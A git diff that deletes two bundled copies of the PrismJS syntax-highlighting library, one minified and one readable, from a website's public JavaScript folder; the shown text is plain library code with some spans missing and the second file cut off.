b/public/js/prism.ea52843de9ef49f2fd5ada5a4e0efb81dd05ae250cb815846dfa3fb988498c70ae2cc567a635da79ffd407054622cea929e1b5fa00977f69c48e373b728cb9cd.js deleted file mode 100644 index ff5f6dd9..00000000 --- a/public/js/prism.ea52843de9ef49f2fd5ada5a4e0efb81dd05ae250cb815846dfa3fb988498c70ae2cc567a635da79ffd407054622cea929e1b5fa00977f69c48e373b728cb9cd.js +++ /dev/null @@ -1,10 +0,0 @@ -(()=>{var G=(p,g)=>()=>(g||p((g={exports:{}}).exports,g),g.exports);var V=G((K,P)=>{var J=typeof window<"u"?window:typeof WorkerGlobalScope<"u"&&self instanceof WorkerGlobalScope?self:{},i=function(p){var g=/(?:^|\s)lang(?:uage)?-([\w-]+)(?=\s|$)/i,h=0,j={},s={manual:p.Prism&&p.Prism.manual,disableWorkerMessageHandler:p.Prism&&p.Prism.disableWorkerMessageHandler,util:{encode:function t(e){return e instanceof k?new k(e.type,t(e.content),e.alias):Array.isArray(e)?e.map(t):e.replace(/&/g,"&").replace(/"u")return null;if("currentScript"in document)return document.currentScript;try{throw new Error}catch(r){var t=(/at [^(\r\n]*\((.*):[^:]+:[^:]+\)$/i.exec(r.stack)||[])[1];if(t){var e=document.getElementsByTagName("script");for(var a in e)if(e[a].src==t)return e[a]}return null}},isActive:function(t,e,a){for(var r="no-"+e;t;){var n=t.classList;if(n.contains(e))return!0;if(n.contains(r))return!1;t=t.parentElement}return!!a}},languages:{plain:j,plaintext:j,text:j,txt:j,extend:function(t,e){var a=s.util.clone(s.languages[t]);for(var r in e)a[r]=e[r];return a},insertBefore:function(t,e,a,r){var n=(r=r||s.languages)[t],u={};for(var o in n)if(n.hasOwnProperty(o)){if(o==e)for(var c in a)a.hasOwnProperty(c)&&(u[c]=a[c]);a.hasOwnProperty(o)||(u[o]=n[o])}var C=r[t];return r[t]=u,s.languages.DFS(s.languages,function(w,L){L===C&&w!=t&&(this[w]=u)}),u},DFS:function t(e,a,r,n){n=n||{};var u=s.util.objId;for(var o in e)if(e.hasOwnProperty(o)){a.call(e,o,e[o],r||o);var c=e[o],C=s.util.type(c);C!=="Object"||n[u(c)]?C!=="Array"||n[u(c)]||(n[u(c)]=!0,t(c,a,o,n)):(n[u(c)]=!0,t(c,a,null,n))}}},plugins:{},highlightAll:function(t,e){s.highlightAllUnder(document,t,e)},highlightAllUnder:function(t,e,a){var r={callback:a,container:t,selector:'code[class*="language-"], [class*="language-"] code, code[class*="lang-"], [class*="lang-"] code'};s.hooks.run("before-highlightall",r),r.elements=Array.prototype.slice.apply(r.container.querySelectorAll(r.selector)),s.hooks.run("before-all-elements-highlight",r);for(var n,u=0;n=r.elements[u++];)s.highlightElement(n,e===!0,r.callback)},highlightElement:function(t,e,a){var r=s.util.getLanguage(t),n=s.languages[r];s.util.setLanguage(t,r);var u=t.parentElement;u&&u.nodeName.toLowerCase()==="pre"&&s.util.setLanguage(u,r);var o={element:t,language:r,grammar:n,code:t.textContent};function c(w){o.highlightedCode=w,s.hooks.run("before-insert",o),o.element.innerHTML=o.highlightedCode,s.hooks.run("after-highlight",o),s.hooks.run("complete",o),a&&a.call(o.element)}if(s.hooks.run("before-sanity-check",o),(u=o.element.parentElement)&&u.nodeName.toLowerCase()==="pre"&&!u.hasAttribute("tabindex")&&u.setAttribute("tabindex","0"),!o.code)return s.hooks.run("complete",o),void(a&&a.call(o.element));if(s.hooks.run("before-highlight",o),o.grammar)if(e&&p.Worker){var C=new Worker(s.filename);C.onmessage=function(w){c(w.data)},C.postMessage(JSON.stringify({language:o.language,code:o.code,immediateClose:!0}))}else c(s.highlight(o.code,o.grammar,o.language));else c(s.util.encode(o.code))},highlight:function(t,e,a){var r={code:t,grammar:e,language:a};if(s.hooks.run("before-tokenize",r),!r.grammar)throw new Error('The language "'+r.language+'" has no grammar.');return r.tokens=s.tokenize(r.code,r.grammar),s.hooks.run("after-tokenize",r),k.stringify(s.util.encode(r.tokens),r.language)},tokenize:function(t,e){var a=e.rest;if(a){for(var r in a)e[r]=a[r];delete e.rest}var n=new y;return v(n,n.head,t),x(t,n,e,n.head,0),function(u){for(var o=[],c=u.head.next;c!==u.tail;)o.push(c.value),c=c.next;return o}(n)},hooks:{all:{},add:function(t,e){var a=s.hooks.all;a[t]=a[t]||[],a[t].push(e)},run:function(t,e){var a=s.hooks.all[t];if(a&&a.length)for(var r,n=0;r=a[n++];)r(e)}},Token:k};function k(t,e,a,r){this.type=t,this.content=e,this.alias=a,this.length=0|(r||"").length}function f(t,e,a,r){t.lastIndex=e;var n=t.exec(a);if(n&&r&&n[1]){var u=n[1].length;n.index+=u,n[0]=n[0].slice(u)}return n}function x(t,e,a,r,n,u){for(var o in a)if(a.hasOwnProperty(o)&&a[o]){var c=a[o];c=Array.isArray(c)?c:[c];for(var C=0;C=u.reach);F+=b.value.length,b=b.next){var _=b.value;if(e.length>t.length)return;if(!(_ instanceof k)){var q,z=1;if(A){if(!(q=f(T,F,t,N))||q.index>=t.length)break;var H=q.index,U=q.index+q[0].length,O=F;for(O+=b.value.length;H>=O;)O+=(b=b.next).value.length;if(F=O-=b.value.length,b.value instanceof k)continue;for(var B=b;B!==e.tail&&(Ou.reach&&(u.reach=M);var D=b.prev;if(R&&(D=v(e,D,R),F+=R.length),$(e,D,z),b=v(e,D,new k(o,L?s.tokenize(I,L):I,E,I)),W&&v(e,b,W),z>1){var Z={cause:o+","+C,reach:M};x(t,e,a,b.prev,F,Z),u&&Z.reach>u.reach&&(u.reach=Z.reach)}}}}}}function y(){var t={value:null,prev:null,next:null},e={value:null,prev:t,next:null};t.next=e,this.head=t,this.tail=e,this.length=0}function v(t,e,a){var r=e.next,n={value:a,prev:e,next:r};return e.next=n,r.prev=n,t.length++,n}function $(t,e,a){for(var r=e.next,n=0;n"+n.content+""},!p.document)return p.addEventListener&&(s.disableWorkerMessageHandler||p.addEventListener("message",function(t){var e=JSON.parse(t.data),a=e.language,r=e.code,n=e.immediateClose;p.postMessage(s.highlight(r,s.languages[a],a)),n&&p.close()},!1)),s;var l=s.util.currentScript();function d(){s.manual||s.highlightAll()}if(l&&(s.filename=l.src,l.hasAttribute("data-manual")&&(s.manual=!0)),!s.manual){var m=document.readyState;m==="loading"||m==="interactive"&&l&&l.defer?document.addEventListener("DOMContentLoaded",d):window.requestAnimationFrame?window.requestAnimationFrame(d):window.setTimeout(d,16)}return s}(J);typeof P<"u"&&P.exports&&(P.exports=i),typeof global<"u"&&(global.Prism=i);i.languages.markup={comment:{pattern://,greedy:!0},prolog:{pattern:/<\?[\s\S]+?\?>/,greedy:!0},doctype:{pattern:/"'[\]]|"[^"]*"|'[^']*')+(?:\[(?:[^<"'\]]|"[^"]*"|'[^']*'|<(?!!--)|)*\]\s*)?>/i,greedy:!0,inside:{"internal-subset":{pattern:/(^[^\[]*\[)[\s\S]+(?=\]>$)/,lookbehind:!0,greedy:!0,inside:null},string:{pattern:/"[^"]*"|'[^']*'/,greedy:!0},punctuation:/^$|[[\]]/,"doctype-tag":/^DOCTYPE/i,name:/[^\s<>'"]+/}},cdata:{pattern://i,greedy:!0},tag:{pattern:/<\/?(?!\d)[^\s>\/=$<%]+(?:\s(?:\s*[^\s>\/=]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))|(?=[\s/>])))+)?\s*\/?>/,greedy:!0,inside:{tag:{pattern:/^<\/?[^\s>\/]+/,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"special-attr":[],"attr-value":{pattern:/=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+)/,inside:{punctuation:[{pattern:/^=/,alias:"attr-equals"},{pattern:/^(\s*)["']|["']$/,lookbehind:!0}]}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:[{pattern:/&[\da-z]{1,8};/i,alias:"named-entity"},/&#x?[\da-f]{1,8};/i]},i.languages.markup.tag.inside["attr-value"].inside.entity=i.languages.markup.entity,i.languages.markup.doctype.inside["internal-subset"].inside=i.languages.markup,i.hooks.add("wrap",function(p){p.type==="entity"&&(p.attributes.title=p.content.replace(/&/,"&"))}),Object.defineProperty(i.languages.markup.tag,"addInlined",{value:function(p,g){var h={};h["language-"+g]={pattern:/(^$)/i,lookbehind:!0,inside:i.languages[g]},h.cdata=/^$/i;var j={"included-cdata":{pattern://i,inside:h}};j["language-"+g]={pattern:/[\s\S]+/,inside:i.languages[g]};var s={};s[p]={pattern:RegExp("(<__[^>]*>)(?:))*\\]\\]>|(?!)".replace(/__/g,function(){return p}),"i"),lookbehind:!0,greedy:!0,inside:j},i.languages.insertBefore("markup","cdata",s)}}),Object.defineProperty(i.languages.markup.tag,"addAttribute",{value:function(p,g){i.languages.markup.tag.inside["special-attr"].push({pattern:RegExp(`(^|["'\\s])(?:`+p+`)\\s*=\\s*(?:"[^"]*"|'[^']*'|[^\\s'">=]+(?=[\\s>]))`,"i"),lookbehind:!0,inside:{"attr-name":/^[^\s=]+/,"attr-value":{pattern:/=[\s\S]+/,inside:{value:{pattern:/(^=\s*(["']|(?!["'])))\S[\s\S]*(?=\2$)/,lookbehind:!0,alias:[g,"language-"+g],inside:i.languages[g]},punctuation:[{pattern:/^=/,alias:"attr-equals"},/"|'/]}}}})}}),i.languages.html=i.languages.markup,i.languages.mathml=i.languages.markup,i.languages.svg=i.languages.markup,i.languages.xml=i.languages.extend("markup",{}),i.languages.ssml=i.languages.xml,i.languages.atom=i.languages.xml,i.languages.rss=i.languages.xml;(function(p){var g=/(?:"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n])*')/;p.languages.css={comment:/\/\*[\s\S]*?\*\//,atrule:{pattern:RegExp(`@[\\w-](?:[^;{\\s"']|\\s+(?!\\s)|`+g.source+")*?(?:;|(?=\\s*\\{))"),inside:{rule:/^@[\w-]+/,"selector-function-argument":{pattern:/(\bselector\s*\(\s*(?![\s)]))(?:[^()\s]|\s+(?![\s)])|\((?:[^()]|\([^()]*\))*\))+(?=\s*\))/,lookbehind:!0,alias:"selector"},keyword:{pattern:/(^|[^\w-])(?:and|not|only|or)(?![\w-])/,lookbehind:!0}}},url:{pattern:RegExp("\\burl\\((?:"+g.source+`|(?:[^\\\\\r -()"']|\\\\[^])*)\\)`,"i"),greedy:!0,inside:{function:/^url/i,punctuation:/^\(|\)$/,string:{pattern:RegExp("^"+g.source+"$"),alias:"url"}}},selector:{pattern:RegExp(`(^|[{}\\s])[^{}\\s](?:[^{};"'\\s]|\\s+(?![\\s{])|`+g.source+")*(?=\\s*\\{)"),lookbehind:!0},string:{pattern:g,greedy:!0},property:{pattern:/(^|[^-\w\xA0-\uFFFF])(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*(?=\s*:)/i,lookbehind:!0},important:/!important\b/i,function:{pattern:/(^|[^-a-z0-9])[-a-z0-9]+(?=\()/i,lookbehind:!0},punctuation:/[(){};:,]/},p.languages.css.atrule.inside.rest=p.languages.css;var h=p.languages.markup;h&&(h.tag.addInlined("style","css"),h.tag.addAttribute("style","css"))})(i);i.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/,lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/(\b(?:class|extends|implements|instanceof|interface|new|trait)\s+|\bcatch\s+\()[\w.\\]+/i,lookbehind:!0,inside:{punctuation:/[.\\]/}},keyword:/\b(?:break|catch|continue|do|else|finally|for|function|if|in|instanceof|new|null|return|throw|try|while)\b/,boolean:/\b(?:false|true)\b/,function:/\b\w+(?=\()/,number:/\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i,operator:/[<>]=?|[!=]=?=?|--?|\+\+?|&&?|\|\|?|[?*/~^%]/,punctuation:/[{}[\];(),.:]/};i.languages.javascript=i.languages.extend("clike",{"class-name":[i.languages.clike["class-name"],{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$A-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\.(?:constructor|prototype))/,lookbehind:!0}],keyword:[{pattern:/((?:^|\})\s*)catch\b/,lookbehind:!0},{pattern:/(^|[^.]|\.\.\.\s*)\b(?:as|assert(?=\s*\{)|async(?=\s*(?:function\b|\(|[$\w\xA0-\uFFFF]|$))|await|break|case|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally(?=\s*(?:\{|$))|for|from(?=\s*(?:['"]|$))|function|(?:get|set)(?=\s*(?:[#\[$\w\xA0-\uFFFF]|$))|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)\b/,lookbehind:!0}],function:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*(?:\.\s*(?:apply|bind|call)\s*)?\()/,number:{pattern:RegExp("(^|[^\\w$])(?:NaN|Infinity|0[bB][01]+(?:_[01]+)*n?|0[oO][0-7]+(?:_[0-7]+)*n?|0[xX][\\dA-Fa-f]+(?:_[\\dA-Fa-f]+)*n?|\\d+(?:_\\d+)*n|(?:\\d+(?:_\\d+)*(?:\\.(?:\\d+(?:_\\d+)*)?)?|\\.\\d+(?:_\\d+)*)(?:[Ee][+-]?\\d+(?:_\\d+)*)?)(?![\\w$])"),lookbehind:!0},operator:/--|\+\+|\*\*=?|=>|&&=?|\|\|=?|[!=]==|<<=?|>>>?=?|[-+*/%&|^!=<>]=?|\.{3}|\?\?=?|\?\.?|[~:]/}),i.languages.javascript["class-name"][0].pattern=/(\b(?:class|extends|implements|instanceof|interface|new)\s+)[\w.\\]+/,i.languages.insertBefore("javascript","keyword",{regex:{pattern:RegExp(`((?:^|[^$\\w\\xA0-\\uFFFF."'\\])\\s]|\\b(?:return|yield))\\s*)/(?:(?:\\[(?:[^\\]\\\\\r -]|\\\\.)*\\]|\\\\.|[^/\\\\\\[\r -])+/[dgimyus]{0,7}|(?:\\[(?:[^[\\]\\\\\r -]|\\\\.|\\[(?:[^[\\]\\\\\r -]|\\\\.|\\[(?:[^[\\]\\\\\r -]|\\\\.)*\\])*\\])*\\]|\\\\.|[^/\\\\\\[\r -])+/[dgimyus]{0,7}v[dgimyus]{0,7})(?=(?:\\s|/\\*(?:[^*]|\\*(?!/))*\\*/)*(?:$|[\r -,.;:})\\]]|//))`),lookbehind:!0,greedy:!0,inside:{"regex-source":{pattern:/^(\/)[\s\S]+(?=\/[a-z]*$)/,lookbehind:!0,alias:"language-regex",inside:i.languages.regex},"regex-delimiter":/^\/|\/$/,"regex-flags":/^[a-z]+$/}},"function-variable":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*[=:]\s*(?:async\s*)?(?:\bfunction\b|(?:\((?:[^()]|\([^()]*\))*\)|(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)\s*=>))/,alias:"function"},parameter:[{pattern:/(function(?:\s+(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)?\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\))/,lookbehind:!0,inside:i.languages.javascript},{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$a-z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*=>)/i,lookbehind:!0,inside:i.languages.javascript},{pattern:/(\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*=>)/,lookbehind:!0,inside:i.languages.javascript},{pattern:/((?:\b|\s|^)(?!(?:as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)(?![$\w\xA0-\uFFFF]))(?:(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*)\(\s*|\]\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*\{)/,lookbehind:!0,inside:i.languages.javascript}],constant:/\b[A-Z](?:[A-Z_]|\dx?)*\b/}),i.languages.insertBefore("javascript","string",{hashbang:{pattern:/^#!.*/,greedy:!0,alias:"comment"},"template-string":{pattern:/`(?:\\[\s\S]|\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}|(?!\$\{)[^\\`])*`/,greedy:!0,inside:{"template-punctuation":{pattern:/^`|`$/,alias:"string"},interpolation:{pattern:/((?:^|[^\\])(?:\\{2})*)\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}/,lookbehind:!0,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:i.languages.javascript}},string:/[\s\S]+/}},"string-property":{pattern:/((?:^|[,{])[ \t]*)(["'])(?:\\(?:\r\n|[\s\S])|(?!\2)[^\\\r\n])*\2(?=\s*:)/m,lookbehind:!0,greedy:!0,alias:"property"}}),i.languages.insertBefore("javascript","operator",{"literal-property":{pattern:/((?:^|[,{])[ \t]*)(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*:)/m,lookbehind:!0,alias:"property"}}),i.languages.markup&&(i.languages.markup.tag.addInlined("script","javascript"),i.languages.markup.tag.addAttribute("on(?:abort|blur|change|click|composition(?:end|start|update)|dblclick|error|focus(?:in|out)?|key(?:down|up)|load|mouse(?:down|enter|leave|move|out|over|up)|reset|resize|scroll|select|slotchange|submit|unload|wheel)","javascript")),i.languages.js=i.languages.javascript;(function(){if(typeof i<"u"&&typeof document<"u"&&document.querySelector){var p,g="line-numbers",h="linkable-line-numbers",j=/\n(?!$)/g,s=!0;i.plugins.lineHighlight={highlightLines:function(l,d,m){var t=(d=typeof d=="string"?d:l.getAttribute("data-line")||"").replace(/\s+/g,"").split(",").filter(Boolean),e=+l.getAttribute("data-line-offset")||0,a=(function(){if(p===void 0){var A=document.createElement("div");A.style.fontSize="13px",A.style.lineHeight="1.5",A.style.padding="0",A.style.border="0",A.innerHTML=" 
 ",document.body.appendChild(A),p=A.offsetHeight===38,document.body.removeChild(A)}return p}()?parseInt:parseFloat)(getComputedStyle(l).lineHeight),r=i.util.isActive(l,g),n=l.querySelector("code"),u=r?l:n||l,o=[],c=n.textContent.match(j),C=c?c.length+1:1,w=n&&u!=n?function(A,E){var S=getComputedStyle(A),T=getComputedStyle(E);function b(F){return+F.substr(0,F.length-2)}return E.offsetTop+b(T.borderTopWidth)+b(T.paddingTop)-b(S.paddingTop)}(l,n):0;t.forEach(function(A){var E=A.split("-"),S=+E[0],T=+E[1]||S;if(!((T=Math.min(C+e,T))S&&b.setAttribute("data-end",String(T)),b.style.top=(S-e-1)*a+w+"px",b.textContent=new Array(T-S+2).join(` -`)});o.push(function(){b.style.width=l.scrollWidth+"px"}),o.push(function(){u.appendChild(b)})}});var L=l.id;if(r&&i.util.isActive(l,h)&&L){x(l,h)||o.push(function(){l.classList.add(h)});var N=parseInt(l.getAttribute("data-start")||"1");f(".line-numbers-rows > span",l).forEach(function(A,E){var S=E+N;A.onclick=function(){var T=L+"."+S;s=!1,location.hash=T,setTimeout(function(){s=!0},1)}})}return function(){o.forEach(y)}}};var k=0;i.hooks.add("before-sanity-check",function(l){var d=l.element.parentElement;if(v(d)){var m=0;f(".line-highlight",d).forEach(function(t){m+=t.textContent.length,t.parentNode.removeChild(t)}),m&&/^(?: \n)+$/.test(l.code.slice(-m))&&(l.code=l.code.slice(0,-m))}}),i.hooks.add("complete",function l(d){var m=d.element.parentElement;if(v(m)){clearTimeout(k);var t=i.plugins.lineNumbers,e=d.plugins&&d.plugins.lineNumbers;x(m,g)&&t&&!e?i.hooks.add("line-numbers",l):(i.plugins.lineHighlight.highlightLines(m)(),k=setTimeout($,1))}}),window.addEventListener("hashchange",$),window.addEventListener("resize",function(){f("pre").filter(v).map(function(l){return i.plugins.lineHighlight.highlightLines(l)}).forEach(y)})}function f(l,d){return Array.prototype.slice.call((d||document).querySelectorAll(l))}function x(l,d){return l.classList.contains(d)}function y(l){l()}function v(l){return!!(l&&/pre/i.test(l.nodeName)&&(l.hasAttribute("data-line")||l.id&&i.util.isActive(l,h)))}function $(){var l=location.hash.slice(1);f(".temporary.line-highlight").forEach(function(e){e.parentNode.removeChild(e)});var d=(l.match(/\.([\d,-]+)$/)||[,""])[1];if(d&&!document.getElementById(l)){var m=l.slice(0,l.lastIndexOf(".")),t=document.getElementById(m);t&&(t.hasAttribute("data-line")||t.setAttribute("data-line",""),i.plugins.lineHighlight.highlightLines(t,d,"temporary ")(),s&&document.querySelector(".temporary.line-highlight").scrollIntoView())}}})();(function(){if(typeof i<"u"&&typeof document<"u"){var p={javascript:"clike",actionscript:"javascript",apex:["clike","sql"],arduino:"cpp",aspnet:["markup","csharp"],birb:"clike",bison:"c",c:"clike",csharp:"clike",cpp:"c",cfscript:"clike",chaiscript:["clike","cpp"],cilkc:"c",cilkcpp:"cpp",coffeescript:"javascript",crystal:"ruby","css-extras":"css",d:"clike",dart:"clike",django:"markup-templating",ejs:["javascript","markup-templating"],etlua:["lua","markup-templating"],erb:["ruby","markup-templating"],fsharp:"clike","firestore-security-rules":"clike",flow:"javascript",ftl:"markup-templating",gml:"clike",glsl:"c",go:"clike",gradle:"clike",groovy:"clike",haml:"ruby",handlebars:"markup-templating",haxe:"clike",hlsl:"c",idris:"haskell",java:"clike",javadoc:["markup","java","javadoclike"],jolie:"clike",jsdoc:["javascript","javadoclike","typescript"],"js-extras":"javascript",json5:"json",jsonp:"json","js-templates":"javascript",kotlin:"clike",latte:["clike","markup-templating","php"],less:"css",lilypond:"scheme",liquid:"markup-templating",markdown:"markup","markup-templating":"markup",mongodb:"javascript",n4js:"javascript",objectivec:"c",opencl:"c",parser:"markup",php:"markup-templating",phpdoc:["php","javadoclike"],"php-extras":"php",plsql:"sql",processing:"clike",protobuf:"clike",pug:["markup","javascript"],purebasic:"clike",purescript:"haskell",qsharp:"clike",qml:"javascript",qore:"clike",racket:"scheme",cshtml:["markup","csharp"],jsx:["markup","javascript"],tsx:["jsx","typescript"],reason:"clike",ruby:"clike",sass:"css",scss:"css",scala:"java","shell-session":"bash",smarty:"markup-templating",solidity:"clike",soy:"markup-templating",sparql:"turtle",sqf:"clike",squirrel:"clike",stata:["mata","java","python"],"t4-cs":["t4-templating","csharp"],"t4-vb":["t4-templating","vbnet"],tap:"yaml",tt2:["clike","markup-templating"],textile:"markup",twig:"markup-templating",typescript:"javascript",v:"clike",vala:"clike",vbnet:"basic",velocity:"markup",wiki:"markup",xeora:"markup","xml-doc":"markup",xquery:"markup"},g={html:"markup",xml:"markup",svg:"markup",mathml:"markup",ssml:"markup",atom:"markup",rss:"markup",js:"javascript",g4:"antlr4",ino:"arduino","arm-asm":"armasm",art:"arturo",adoc:"asciidoc",avs:"avisynth",avdl:"avro-idl",gawk:"awk",sh:"bash",shell:"bash",shortcode:"bbcode",rbnf:"bnf",oscript:"bsl",cs:"csharp",dotnet:"csharp",cfc:"cfscript","cilk-c":"cilkc","cilk-cpp":"cilkcpp",cilk:"cilkcpp",coffee:"coffeescript",conc:"concurnas",jinja2:"django","dns-zone":"dns-zone-file",dockerfile:"docker",gv:"dot",eta:"ejs",xlsx:"excel-formula",xls:"excel-formula",gamemakerlanguage:"gml",po:"gettext",gni:"gn",ld:"linker-script","go-mod":"go-module",hbs:"handlebars",mustache:"handlebars",hs:"haskell",idr:"idris",gitignore:"ignore",hgignore:"ignore",npmignore:"ignore",webmanifest:"json",kt:"kotlin",kts:"kotlin",kum:"kumir",tex:"latex",context:"latex",ly:"lilypond",emacs:"lisp",elisp:"lisp","emacs-lisp":"lisp",md:"markdown",moon:"moonscript",n4jsd:"n4js",nani:"naniscript",objc:"objectivec",qasm:"openqasm",objectpascal:"pascal",px:"pcaxis",pcode:"peoplecode",plantuml:"plant-uml",pq:"powerquery",mscript:"powerquery",pbfasm:"purebasic",purs:"purescript",py:"python",qs:"qsharp",rkt:"racket",razor:"cshtml",rpy:"renpy",res:"rescript",robot:"robotframework",rb:"ruby","sh-session":"shell-session",shellsession:"shell-session",smlnj:"sml",sol:"solidity",sln:"solution-file",rq:"sparql",sclang:"supercollider",t4:"t4-cs",trickle:"tremor",troy:"tremor",trig:"turtle",ts:"typescript",tsconfig:"typoscript",uscript:"unrealscript",uc:"unrealscript",url:"uri",vb:"visual-basic",vba:"visual-basic",webidl:"web-idl",mathematica:"wolfram",nb:"wolfram",wl:"wolfram",xeoracube:"xeora",yml:"yaml"},h={},j="components/",s=i.util.currentScript();if(s){var k=/\bplugins\/autoloader\/prism-autoloader\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i,f=/(^|\/)[\w-]+\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i,x=s.getAttribute("data-autoloader-path");if(x!=null)j=x.trim().replace(/\/?$/,"/");else{var y=s.src;k.test(y)?j=y.replace(k,"components/"):f.test(y)&&(j=y.replace(f,"$1components/"))}}var v=i.plugins.autoloader={languages_path:j,use_minified:!0,loadLanguages:l};i.hooks.add("complete",function(m){var t=m.element,e=m.language;if(t&&e&&e!=="none"){var a=function(r){var n=(r.getAttribute("data-dependencies")||"").trim();if(!n){var u=r.parentElement;u&&u.tagName.toLowerCase()==="pre"&&(n=(u.getAttribute("data-dependencies")||"").trim())}return n?n.split(/\s*,\s*/g):[]}(t);/^diff-./i.test(e)?(a.push("diff"),a.push(e.substr(5))):a.push(e),a.every($)||l(a,function(){i.highlightElement(t)})}})}function $(m){if(m.indexOf("!")>=0)return!1;if((m=g[m]||m)in i.languages)return!0;var t=h[m];return t&&!t.error&&t.loading===!1}function l(m,t,e){typeof m=="string"&&(m=[m]);var a=m.length,r=0,n=!1;function u(){n||++r===a&&t&&t(m)}a!==0?m.forEach(function(o){(function(c,C,w){var L=c.indexOf("!")>=0;function N(){var E=h[c];E||(E=h[c]={callbacks:[]}),E.callbacks.push({success:C,error:w}),!L&&$(c)?d(c,"success"):!L&&E.error?d(c,"error"):!L&&E.loading||(E.loading=!0,E.error=!1,function(S,T,b){var F=document.createElement("script");F.src=S,F.async=!0,F.onload=function(){document.body.removeChild(F),T&&T()},F.onerror=function(){document.body.removeChild(F),b&&b()},document.body.appendChild(F)}(function(S){return v.languages_path+"prism-"+S+(v.use_minified?".min":"")+".js"}(c),function(){E.loading=!1,d(c,"success")},function(){E.loading=!1,E.error=!0,d(c,"error")}))}c=c.replace("!","");var A=p[c=g[c]||c];A&&A.length?l(A,N,w):N()})(o,u,function(){n||(n=!0,e&&e(o))})}):t&&setTimeout(t,0)}function d(m,t){if(h[m]){for(var e=h[m].callbacks,a=0,r=e.length;a{i.highlightAllUnder(p,!1,()=>{requestAnimationFrame(()=>{p.classList.remove("hide")})})})}window.addEventListener("DOMContentLoaded",()=>{Y()})});V();})(); diff --git a/public/js/prism.js b/public/js/prism.js deleted file mode 100644 index 784ebde7..00000000 --- a/public/js/prism.js +++ /dev/null @@ -1,563 +0,0 @@ -(() => { - var __getOwnPropNames = Object.getOwnPropertyNames; - var __commonJS = (cb, mod) => function __require() { - return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; - }; - - // - var require_stdin = __commonJS({ - ""(exports, module) { - var _self = "undefined" != typeof window ? window : "undefined" != typeof WorkerGlobalScope && self instanceof WorkerGlobalScope ? self : {}; - var Prism = function(e) { - var n = /(?:^|\s)lang(?:uage)?-([\w-]+)(?=\s|$)/i, t = 0, r = {}, a = { manual: e.Prism && e.Prism.manual, disableWorkerMessageHandler: e.Prism && e.Prism.disableWorkerMessageHandler, util: { encode: function e2(n2) { - return n2 instanceof i ? new i(n2.type, e2(n2.content), n2.alias) : Array.isArray(n2) ? n2.map(e2) : n2.replace(/&/g, "&").replace(/= g2.reach); A += w.value.length, w = w.next) { - var E = w.value; - if (n2.length > e2.length) return; - if (!(E instanceof i)) { - var P, L = 1; - if (y) { - if (!(P = l(b, A, e2, m)) || P.index >= e2.length) break; - var S = P.index, O = P.index + P[0].length, j = A; - for (j += w.value.length; S >= j; ) j += (w = w.next).value.length; - if (A = j -= w.value.length, w.value instanceof i) continue; - for (var C = w; C !== n2.tail && (j < O || "string" == typeof C.value); C = C.next) L++, j += C.value.length; - L--, E = e2.slice(A, j), P.index -= A; - } else if (!(P = l(b, 0, E, m))) continue; - S = P.index; - var N = P[0], _ = E.slice(0, S), M = E.slice(S + N.length), W = A + E.length; - g2 && W > g2.reach && (g2.reach = W); - var z = w.prev; - if (_ && (z = u(n2, z, _), A += _.length), c(n2, z, L), w = u(n2, z, new i(f2, p ? a.tokenize(N, p) : N, k, N)), M && u(n2, w, M), L > 1) { - var I = { cause: f2 + "," + d, reach: W }; - o(e2, n2, t2, w.prev, A, I), g2 && I.reach > g2.reach && (g2.reach = I.reach); - } - } - } - } - } - } - function s() { - var e2 = { value: null, prev: null, next: null }, n2 = { value: null, prev: e2, next: null }; - e2.next = n2, this.head = e2, this.tail = n2, this.length = 0; - } - function u(e2, n2, t2) { - var r2 = n2.next, 